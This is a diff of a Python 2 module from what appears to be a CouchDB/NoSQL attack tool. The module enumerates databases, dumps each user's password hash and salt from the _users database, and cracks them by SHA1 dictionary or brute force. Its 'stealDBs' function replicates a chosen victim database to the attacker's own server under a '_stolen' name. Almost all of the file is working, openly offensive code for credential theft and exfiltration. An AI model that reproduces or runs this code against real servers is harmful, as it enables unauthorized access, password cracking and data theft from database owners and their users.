1616
1717
1818import couchdb
19- import urllib
19+ import requests
20+ import sys
21+ import string
22+ import itertools
23+ from hashlib import sha1
24+
2025global dbList
26+ global yes_tag
27+ global no_tag
28+ yes_tag = ['y' , 'Y' ]
29+ no_tag = ['n' , 'N' ]
2130
2231def couchScan (target ,port ,pingIt ):
2332 if pingIt == True :
@@ -117,7 +126,7 @@ def netAttacks(target,port, myIP):
117126 while mgtSelect :
118127 print "\n "
119128 print "1-Get Server Version and Platform"
120- print "2-Enumerate Databases/Collections/ Users"
129+ print "2-Enumerate Databases/Users/Password Hashes "
121130 print "3-Check for Attachments"
122131 print "4-Clone a Database"
123132 print "5-Return to Main Menu"
@@ -129,17 +138,13 @@ def netAttacks(target,port, myIP):
129138
130139 if attack == "2" :
131140 print "\n "
132- enumDbs (conn )
141+ enumDbs (conn , target )
133142
134143 if attack == "3" :
135144 print "\n "
136145 enumGrid (conn )
137146
138147 if attack == "4" :
139- if optionSet [4 ] == False :
140- print "Target database not set!"
141-
142- else :
143148 print "\n "
144149 stealDBs (myIP ,conn )
145150
@@ -149,37 +154,187 @@ def netAttacks(target,port, myIP):
149154def getPlatInfo (couchConn , target ):
150155 print "Server Info:"
151156 print "CouchDB Version: " + couchConn .version ()
152- print "Configuration File:\n "
153- print urllib .urlopen ("http://" + target + ":5984/_config" ).read ()
154- print "\n "
155157 return
156158
157- def enumDbs (couchConn ):
158- global dbList
159+ def enumDbs (couchConn ,target ):
159160 dbList = []
161+ userNames = []
162+ userHashes = []
163+ userSalts = []
160164 try :
161165 for db in couchConn :
162166 dbList .append (db )
167+
163168
164169 print "List of databases:"
165170 print "\n " .join (dbList )
166171 print "\n "
167- return #debug
168172
169173 except :
170174 print "Error: Couldn't list databases. The provided credentials may not have rights."
171175
172- if '_users' in dbList ():
173- users = list (db .system .users .find ())
174- print "Database Users and Password Hashes:"
176+ if '_users' in dbList :
177+ r = requests .get ("http://" + target + ":5984/_users/_all_docs?startkey=\" org.couchdb.user\" &include_docs=true" )
178+ userDict = r .json ()
179+
180+ for counter in range (0 ,int (userDict ["total_rows" ])- int (userDict ["offset" ])):
181+ userNames .append (userDict ["rows" ][counter ]["id" ].split (":" )[1 ])
182+ userHashes .append (userDict ["rows" ][counter ]["doc" ]["password_sha" ])
183+ userSalts .append (userDict ["rows" ][counter ]["doc" ]["salt" ])
184+
185+ print "Database Users and Password Hashes:"
186+
187+ for x in range (0 ,len (userNames )):
188+ print "Username: " + userNames [x ]
189+ print "Hash: " + userHashes [x ]
190+ print "Salt: " + userSalts [x ]
191+ print "\n "
192+
193+ crack = raw_input ("Crack this hash (y/n)? " )
194+
195+ if crack in yes_tag :
196+ passCrack (userNames [x ],userHashes [x ],userSalts [x ])
197+
198+
199+ return
200+
201+ def stealDBs (myDB , couchConn ):
202+ dbLoot = True
203+ menuItem = 1
204+ dbList = []
205+
206+ for db in couchConn :
207+ dbList .append (db )
208+
209+ if len (dbList ) == 0 :
210+ print "Can't get a list of databases to steal. The provided credentials may not have rights."
211+ return
212+
213+ for dbName in dbList :
214+ print str (menuItem ) + "-" + dbName
215+ menuItem += 1
216+
217+ while dbLoot :
218+ dbLoot = raw_input ("Select a database to steal:" )
219+
220+ if int (dbLoot ) > menuItem :
221+ print "Invalid selection."
222+
223+ else :
224+ break
225+
226+ try :
227+ print dbList [int (dbLoot )- 1 ] #debug
228+ print "http://" + myDB + ":5984/" + dbList [int (dbLoot )- 1 ] + "_stolen" #debug
229+ couchConn .replicate (dbList [int (dbLoot )- 1 ],"http://" + myDB + ":5984/" + dbList [int (dbLoot )- 1 ] + "_stolen" )
230+
231+ cloneAnother = raw_input ("Database cloned. Copy another (y/n)? " )
232+
233+ if cloneAnother in yes_tag :
234+ stealDBs (myDB ,couchConn )
235+
236+ else :
237+ return
238+
239+ except Exception , e :
240+ print e #Debug
241+ raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return..." )
242+ return
243+
244+ def passCrack (user , encPass , salt ):
245+ select = True
246+ print "Select password cracking method: "
247+ print "1-Dictionary Attack"
248+ print "2-Brute Force"
249+ print "3-Exit"
250+
251+ while select :
252+ select = raw_input ("Selection: " )
253+
254+ if select == "1" :
255+ select = False
256+ dict_pass (encPass ,salt )
257+
258+ elif select == "2" :
259+ select = False
260+ brute_pass (encPass ,salt )
261+
262+ elif select == "3" :
263+ return
264+ return
265+
266+ def genBrute (chars , maxLen ):
267+ return ('' .join (candidate ) for candidate in itertools .chain .from_iterable (itertools .product (chars , repeat = i ) for i in range (1 , maxLen + 1 )))
268+
269+ def brute_pass (hashVal ,salt ):
270+ charSel = True
271+ print "\n "
272+ maxLen = raw_input ("Enter the maximum password length to attempt: " )
273+ print "1-Lower case letters"
274+ print "2-Upper case letters"
275+ print "3-Upper + lower case letters"
276+ print "4-Numbers only"
277+ print "5-Alphanumeric (upper and lower case)"
278+ print "6-Alphanumeric + special characters"
279+ charSel = raw_input ("\n Select character set to use:" )
280+
281+ if charSel == "1" :
282+ chainSet = string .ascii_lowercase
283+
284+ elif charSel == "2" :
285+ chainSet = string .ascii_uppercase
286+
287+ elif charSel == "3" :
288+ chainSet = string .ascii_letters
289+
290+ elif charSel == "4" :
291+ chainSet = string .digits
175292
176- for x in range (0 ,len (users )):
177- print "Username: " + users [x ]['user' ]
178- print "Hash: " + users [x ]['pwd' ]
179- print "\n "
180- crack = raw_input ("Crack this hash (y/n)? " )
293+ elif charSel == "5" :
294+ chainSet = string .ascii_letters + string .digits
295+
296+ elif charSel == "6" :
297+ chainSet = string .ascii_letters + string .digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
298+
299+ count = 0
300+ print "\n " ,
301+
302+ for attempt in genBrute (chainSet ,int (maxLen )):
303+ print "\r Combinations tested: " + str (count ) + "\r "
304+ count += 1
305+ if sha1 (attempt + salt ).hexdigest () == hashVal :
306+ print "Found - " + attempt
307+ return
308+
309+ def dict_pass (key ,salt ):
310+ loadCheck = False
311+
312+ while loadCheck == False :
313+ dictionary = raw_input ("Enter path to password dictionary: " )
314+
315+ try :
316+ with open (dictionary ) as f :
317+ passList = f .readlines ()
318+ loadCheck = True
319+
320+ except :
321+ print " Couldn't load file."
322+
323+ print "Running dictionary attack..."
324+
325+ for passGuess in passList :
326+ temp = passGuess .split ("\n " )[0 ]
327+ gotIt = gen_pass_couch (temp ,salt ,key )
328+
329+ if gotIt == True :
330+ break
181331
182- if crack in yes_tag :
183- passCrack (users [x ]['user' ],users [x ]['pwd' ])
184332 return
185333
334+ def gen_pass_couch (passw , salt , hashVal ):
335+ if sha1 (passw + salt ).hexdigest () == hashVal :
336+ print "Found - " + passw
337+ return True
338+
339+ else :
340+ return False
0 commit comments